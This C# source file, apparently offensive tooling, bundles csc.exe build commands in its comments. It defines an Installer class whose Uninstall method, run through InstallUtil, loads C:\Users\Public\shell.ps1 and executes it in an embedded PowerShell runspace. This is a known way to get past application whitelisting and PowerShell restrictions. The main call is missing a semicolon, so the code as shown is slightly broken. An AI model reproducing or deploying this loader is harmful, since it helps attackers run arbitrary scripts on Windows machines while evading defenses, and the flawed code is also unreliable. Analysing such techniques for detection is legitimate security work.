csharptemp.cs

//x64
//C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:C:\Users\Public\shell.exe C:\Users\Public\shell.cs

//x86
//C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:x86 /out:C:\Users\Public\shell.exe C:\Users\Public\shell.cs

using System;
 using System.Configuration.Install;
 using System.Runtime.InteropServices;
 using System.Management.Automation.Runspaces;
 public class Program
 {
 public static void Main()
 {
 Mycode.Exec()
 }
 }
 [System.ComponentModel.RunInstaller(true)]
 public class Sample : System.Configuration.Install.Installer
 {
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
 Mycode.Exec();
 }
 }
 public class Mycode
 {
 public static void Exec()
 {
 string command = System.IO.File.ReadAllText(@"C:\Users\Public\shell.ps1");
 RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
 Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
 rspace.Open();
 Pipeline pipeline = rspace.CreatePipeline();
 pipeline.Commands.AddScript(command);
 pipeline.Invoke();
 }
 }